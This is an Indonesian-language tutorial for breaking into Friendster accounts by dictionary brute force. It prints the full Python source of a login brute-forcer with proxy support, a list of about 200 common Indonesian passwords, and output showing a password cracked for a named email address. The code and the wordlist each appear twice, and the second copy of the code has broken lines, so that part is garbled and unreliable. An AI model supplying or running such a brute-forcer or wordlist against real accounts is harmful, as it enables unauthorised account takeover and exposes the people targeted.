Dikatakan Tutorial Hacking Password Friendster 2009 karena saat ini Teknik overlay dan Cookie Stealing. Tapi serangan brute force dictionary masih dapat di lakukan.
Pertama-tama anda harus mempunyai program Python versi baru (versi lama tidak jalan), bisa menggunakan Python versi windows. Dapat didownload : http://www.python.org/ftp/python/2.6.1/python-2.6.1.msi
Setelah selesai download, maka install python tersebut ke harddisk (c:\python26). download file pass.rar atau ambil dari sourcenya sudah disertakan di tutorial ini. Untuk file pass.rar dapat diambil di http://www.yogyafree.net/pass.rar setelah didownload maka dapat di extract ke c:\python26. lalu jalankan perintah dibawah ini di cmd (c:\python26) :
Python hackfs.py (e-mail target) words.txt -v
jika anda beruntung, maka anda mendapatkan passwordnya.
Isi file words.txt ini dikumpulkan oleh penulis dari password-password yang sering digunakan para pengguna fs di Indonesia (yogyafree.net/familycode/friendster.txt)
Source code hackfs.py :
Quote:
#!/usr/bin/python
#Friendster.com Login BruteForcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import urllib2, sys, re, urllib, httplib, socket
print "\n d3hydr8[at]gmail[dot]com friendsterBF v1.1"
print " Modifikasi bahasa dan informasi penggunaan oleh kurniawan"
print " ---------------------------------------------------------"
if len(sys.argv) not in [3,4,5,6]:
print "Penggunaan ketik: python fshack.py "
print "Contoh: python fshack.py kurniawan@yahoo.com words.txt -v\n"
print "\t -p/-proxy : Add proxy support"
print "\t -v/-verbose : Verbose Mode\n"
sys.exit(1)
for arg in sys.argv[1:]:
if arg.lower() == "-p" or arg.lower() == "-proxy":
proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
try:
if proxy:
print "\n[+] Testing Proxy..."
h2 = httplib.HTTPConnection(proxy)
h2.connect()
print "[+] Proxy:",proxy
except(socket.timeout):
print "\n[-] Proxy Timed Out"
proxy = 0
pass
except(NameError):
print "\n[-] Proxy Not Given"
proxy = 0
pass
except:
print "\n[-] Proxy Failed"
proxy = 0
pass
try:
if verbose == 1:
print "[+] Verbose Mode On\n"
except(NameError):
print "[-] Verbose Mode Off\n"
verbose = 0
pass
host = "http://www.friendster.com/login.php"
print "[+] BruteForcing:",host
print "[+] Email:",sys.argv[1]
try:
words = open(sys.argv[2], "r").readlines()
print "[+] Jumlah kata password :",len(words),"\n"
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
for word in words:
word = word.replace("\r","").replace("\n","")
login_form_seq = [
('_submitted', '1'),
('next', '/'),
('tzoffset', '240'),
('email', sys.argv[1]),
('password', word),
('remembermyemail', 'on'),
('btnLogIn', 'Log In'),
('btnSignUp','Sign Up')]
login_form_data = urllib.urlencode(login_form_seq)
if proxy != 0:
proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
opener = urllib2.build_opener(proxy_handler)
else:
opener = urllib2.build_opener()
try:
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
site = opener.open(host, login_form_data).read()
except(urllib2.URLError), msg:
print msg
site = ""
pass
if re.search("The email address you entered is not a valid Friendster login.",site):
print "\nThe email address you entered is not a valid Friendster login.\n"
sys.exit(1)
if re.search("The email address and password you entered did not match.",site) == None:
print "\n\t[!] Login Successfull:",sys.argv[1],word,"\n"
sys.exit(1)
else:
if verbose == 1:
print "[-] Kata Password yang diperiksa :",word
print "\n[-] Brute Complete\n"
#Friendster.com Login BruteForcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import urllib2, sys, re, urllib, httplib, socket
print "\n d3hydr8[at]gmail[dot]com friendsterBF v1.1"
print " Modifikasi bahasa dan informasi penggunaan oleh kurniawan"
print " ---------------------------------------------------------"
if len(sys.argv) not in [3,4,5,6]:
print "Penggunaan ketik: python fshack.py
print "Contoh: python fshack.py kurniawan@yahoo.com words.txt -v\n"
print "\t -p/-proxy
print "\t -v/-verbose : Verbose Mode\n"
sys.exit(1)
for arg in sys.argv[1:]:
if arg.lower() == "-p" or arg.lower() == "-proxy":
proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
try:
if proxy:
print "\n[+] Testing Proxy..."
h2 = httplib.HTTPConnection(proxy)
h2.connect()
print "[+] Proxy:",proxy
except(socket.timeout):
print "\n[-] Proxy Timed Out"
proxy = 0
pass
except(NameError):
print "\n[-] Proxy Not Given"
proxy = 0
pass
except:
print "\n[-] Proxy Failed"
proxy = 0
pass
try:
if verbose == 1:
print "[+] Verbose Mode On\n"
except(NameError):
print "[-] Verbose Mode Off\n"
verbose = 0
pass
host = "http://www.friendster.com/login.php"
print "[+] BruteForcing:",host
print "[+] Email:",sys.argv[1]
try:
words = open(sys.argv[2], "r").readlines()
print "[+] Jumlah kata password :",len(words),"\n"
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)
for word in words:
word = word.replace("\r","").replace("\n","")
login_form_seq = [
('_submitted', '1'),
('next', '/'),
('tzoffset', '240'),
('email', sys.argv[1]),
('password', word),
('remembermyemail', 'on'),
('btnLogIn', 'Log In'),
('btnSignUp','Sign Up')]
login_form_data = urllib.urlencode(login_form_seq)
if proxy != 0:
proxy_handler = urllib2.ProxyHandler({'http': 'http://'+proxy+'/'})
opener = urllib2.build_opener(proxy_handler)
else:
opener = urllib2.build_opener()
try:
opener.addheaders = [('User-agent', 'Mozilla/5.0')]
site = opener.open(host, login_form_data).read()
except(urllib2.URLError), msg:
print msg
site = ""
pass
if re.search("The email address you entered is not a valid Friendster login.",site):
print "\nThe email address you entered is not a valid Friendster login.\n"
sys.exit(1)
if re.search("The email address and password you entered did not match.",site) == None:
print "\n\t[!] Login Successfull:",sys.argv[1],word,"\n"
sys.exit(1)
else:
if verbose == 1:
print "[-] Kata Password yang diperiksa :",word
print "\n[-] Brute Complete\n"
Simpan di file fshack.py
words.txt
Quote:
CAYANG
password
superman
123456
1234567
merah
november
thunder
testing123
doremi
kampus
morning
metal
sayang
bintang
remaja
flower
sayangku
CINTA7
bekasi
abcdefgh
0123654789
BATMAN
starmild
newnokia
master
tiramisu
dokter
srigala
muhammad
sayangkuw
FOREVER
inlove
nokia
abc123
fuckme
fucking
keparat
monkey
1234567890
coklat
123456789
bismillah
bandung
ketawa
spiderman
kereta
iloveu
muslim
yayang
cintaku
juventus
terminator
love69
kacamata
samurai
penjahat
slipknot
asshole
anjink
123123
bullshit
140104
mahadewi
butterfly
asdfgh123
12345
cuantik
cayangsmua
abccab
purwodadi
abcde
abcdef
jakarta
jakartaku
naruto
binalbinal
cintaq
wanita
serius
abcdefgh
lolipop
friendship
jelekjelek
jomblo
12345678
ganteng
gejayan
superman
songoku
someone
112233
kungfu
guabanget
server
private
monyet
honey
sweety
lavender
suparman
takutku
medan
samsung
amit-amit-you
doraemon
playboy
trisakti
pancasila
gemini
balonku
kulkas
mawarmerah
password8
lesbian
hitman
cintaiaku
percayalah
rindukamu
anakkadal
nobita
jakartaku
serangan
kledokan
sepuluh
duapuluh
lelaki
kentang
ayambakar
789789
cocote
ashiteru
akucantik
campus
indonesia
jablai
kamikaze
samuraix
pandai
agustus
maniest
bungaku
kucing
sarung
januari
november
batik
satwa
kupang
loyalitas
kotagede
laruku
internet
brebes
punkers
pekanbaru
donalbebek
cocacola
pujangga
spongebob
surabaya
simpati
indocafe
secret
soulmate
perbanas
detektif
girly
flowers
sweet
mahameru
laluna
bahasa
green
kingston
astaganaga
jeruk
selimut
sweets
alwaysluv
chelsea
italia
supermanis
hanie
baladewa
kacang
keripik
hitamputih
bismillah
anakayam
sembilan
tampan
cintaa
bmw
kompas
aquarius
cantiq
cayangku
marlboro
sejahtera
imutz
palembang
kalimantan
family
kingkong
lumpia
cantik
desember
SEPTEMBER
djogja
bismilahku
orgasme
blank
pazzword
oktober
sulawesi
password
superman
123456
1234567
merah
november
thunder
testing123
doremi
kampus
morning
metal
sayang
bintang
remaja
flower
sayangku
CINTA7
bekasi
abcdefgh
0123654789
BATMAN
starmild
newnokia
master
tiramisu
dokter
srigala
muhammad
sayangkuw
FOREVER
inlove
nokia
abc123
fuckme
fucking
keparat
monkey
1234567890
coklat
123456789
bismillah
bandung
ketawa
spiderman
kereta
iloveu
muslim
yayang
cintaku
juventus
terminator
love69
kacamata
samurai
penjahat
slipknot
asshole
anjink
123123
bullshit
140104
mahadewi
butterfly
asdfgh123
12345
cuantik
cayangsmua
abccab
purwodadi
abcde
abcdef
jakarta
jakartaku
naruto
binalbinal
cintaq
wanita
serius
abcdefgh
lolipop
friendship
jelekjelek
jomblo
12345678
ganteng
gejayan
superman
songoku
someone
112233
kungfu
guabanget
server
private
monyet
honey
sweety
lavender
suparman
takutku
medan
samsung
amit-amit-you
doraemon
playboy
trisakti
pancasila
gemini
balonku
kulkas
mawarmerah
password8
lesbian
hitman
cintaiaku
percayalah
rindukamu
anakkadal
nobita
jakartaku
serangan
kledokan
sepuluh
duapuluh
lelaki
kentang
ayambakar
789789
cocote
ashiteru
akucantik
campus
indonesia
jablai
kamikaze
samuraix
pandai
agustus
maniest
bungaku
kucing
sarung
januari
november
batik
satwa
kupang
loyalitas
kotagede
laruku
internet
brebes
punkers
pekanbaru
donalbebek
cocacola
pujangga
spongebob
surabaya
simpati
indocafe
secret
soulmate
perbanas
detektif
girly
flowers
sweet
mahameru
laluna
bahasa
green
kingston
astaganaga
jeruk
selimut
sweets
alwaysluv
chelsea
italia
supermanis
hanie
baladewa
kacang
keripik
hitamputih
bismillah
anakayam
sembilan
tampan
cintaa
bmw
kompas
aquarius
cantiq
cayangku
marlboro
sejahtera
imutz
palembang
kalimantan
family
kingkong
lumpia
cantik
desember
SEPTEMBER
djogja
bismilahku
orgasme
blank
pazzword
oktober
sulawesi
Simpan jadi file words.txt
Hasil :
C:\Python26>python fshack.py fskuwww@yahoo.com words.txt -v
d3hydr8[at]gmail[dot]com friendsterBF v1.1
Modifikasi bahasa dan informasi penggunaan oleh kurniawan
---------------------------------------------------------
[-] Proxy Not Given
[+] Verbose Mode On
[+] BruteForcing: http://www.friendster.com/login.php
[+] Email: fskuwww@yahoo.com
[+] Jumlah kata password : 216
[-] Kata Password yang diperiksa : CAYANG
[-] Kata Password yang diperiksa : password
[-] Kata Password yang diperiksa : superman
[-] Kata Password yang diperiksa : 123456
[-] Kata Password yang diperiksa : 1234567
[-] Kata Password yang diperiksa : merah
[-] Kata Password yang diperiksa : november
[-] Kata Password yang diperiksa : thunder
[!] Login Successfull: fskuwww@yahoo.com doremi
